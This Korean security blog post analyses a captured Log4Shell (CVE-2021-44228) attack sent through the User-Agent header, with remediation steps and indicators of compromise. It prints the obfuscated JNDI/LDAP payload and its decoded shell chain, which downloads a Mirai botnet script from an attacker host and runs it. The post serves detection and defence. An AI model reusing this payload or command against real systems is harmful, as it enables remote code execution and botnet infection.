본문 바로가기
IT 보안

Apache Log4j 취약점 (CVE-2021-44228)_User Agent 이용

by 떠도리c 2024. 8. 29.
반응형

CVE-2021-44228

이번 취약점은 User Agent를 이용한 Log4j 취약점 공격입니다.

Apache Log4j2 버전 2.14.1 이하(보안 릴리스 2.3.1, 2.12.2 및 2.12.3 제외)에서 구성, 로그 메시지 및 매개변수에 사용된 JNDI를 이용한 취약점

로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 메시지 조회 대체가 활성화된 경우 LDAP 서버에서 로드된 임의의 코드를 실행할 수 있습니다.

  • JNDI (Java Naming and Directory Interface)
    • Java로 작성된 애플리케이션을 DNS, LDAP, RMI, NDS 등과 같은 Naming/Directory 서비스에 연결하기 위한 API
  • LDAP(Lightweight Directory Access Protocol)
    • TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜

 

 

영향 받는 버전 정보

  • Log4j 1.x 버전
    • 1.x 버전을 사용하는 애플리케이션은 Configuration에서 JNDI를 사용할 때만 이 공격에 취약
      (별도의 CVE(CVE-2021-4104)가 존재)
    • JMSAppender가 없는 Log4j 1.x 구성은 이 취약점의 영향을 받지 않습니다.
  • Log4j 2.14.1 이하(보안 릴리스 2.3.1, 2.12.2 및 2.12.3 제외)

 

 

 

탐지 트래픽

트래픽 원본

t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]223.199.108:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5OS4xOTUuMjUzLjE4Ny9ha3R1YWxpc2llcmVuLnNoIC1vIGFrdHVhbGlzaWVyZW4uc2g7IHdnZXQgaHR0cDovLzE5OS4xOTUuMjUzLjE4Ny9ha3R1YWxpc2llcmVuLnNoOyBjaG1vZCA3NzcgYWt0dWFsaXNpZXJlbi5zaDsgc2ggYWt0dWFsaXNpZXJlbi5zaDsgcm0gLXJmIGFrdHVhbGlzaWVyZW4uc2g7IHJtIC1yZiBha3R1YWxpc2llcmVuLnNoLjE=}')
  • URL Decoding
t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//159[.]223.199.108:1389/TomcatBypass/Command/Base64/cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl http://199[.]195.253.187/aktualisieren.sh -o aktualisieren.sh; wget http://199.195.253.187/aktualisieren.sh; chmod 777 aktualisieren.sh; sh aktualisieren.sh; rm -rf aktualisieren.sh; rm -rf aktualisieren.sh.1
  • 행위
    • User-Agent 헤더를 통한 악성 페이로드 인젝션
      199[.]195[.]253[.]187 쿼리 (악성 LDAP 서버) - aktualisieren.sh 파일 다운로드 및 실행
      aktualisieren.sh 구동을 통한 추가 악성 파일들을 다운로드 및 실행
        - 독일어 aktualisieren는 영어에서 update를 의미함

aktualisieren.sh 평판

  • 미라이(Mirai) 봇넷 평판과 코인 마이너 평판을 다수 가지고 있음
  • 이미 크롬 브라우저, 많은 Anti-Virus 벤더에서 시그니처를 가지고 있어 탐지 및 차단은 잘 이루어짐
  • 평판 정보 또한 잘나와 있기에 파일 분석은 따로 진행하지 않음

aktualisieren.sh 파일 내용

  • 미라이(Mirai) 봇넷 파일 다운로드, 권한 변경 및 실행에 대한 스크립트가 작성되어 있음

쉘 스크립트 내용

결론

종합

  • Apache Log4j 취약점 > 원격 코드를 실행 > 미라이 봇넷 다운로드 및 실행
  • 위 취약점과 관련된 파일들은 크롬 브라우저에서 악성 파일로 분류되어 파일 다운로드를 차단함

대응

  • Log4j 2.x 버전 업그레이드
    • 2.3.1(Java 6용), 2.12.3(Java 7용), 2.17.0(Java 8 이상) 업그레이드
    • 2.16.0 이외의 버전은 JndiLookup클래스 경로에서 클래스를 제거할 수 있음
      - zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    • JndiLookup을 제거하기만 하면 CVE-2021-44228에 노출된 두 가지 버그 중 하나만 해결
 

Log4j – Apache Log4j Security Vulnerabilities

<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apa

logging.apache.org

  • IoC 정보
IP / URL / Hash
설 명
159[.]223[.]199[.]108
공격자 IP
199[.]195[.]253[.]187
악성 서버 (악성 파일 배포)
c851066707fc1fee2193dd127eaf688b
aktualisieren.sh (MD5)
4437b30375286e0827404611f1fb56eb3a7e4110
aktualisieren.sh (SHA-1)
438bf69c5b4c34afa610256bbb7bc2ef9a98f9b07912205df5337066a37f0dee
aktualisieren.sh (SHA-256)
반응형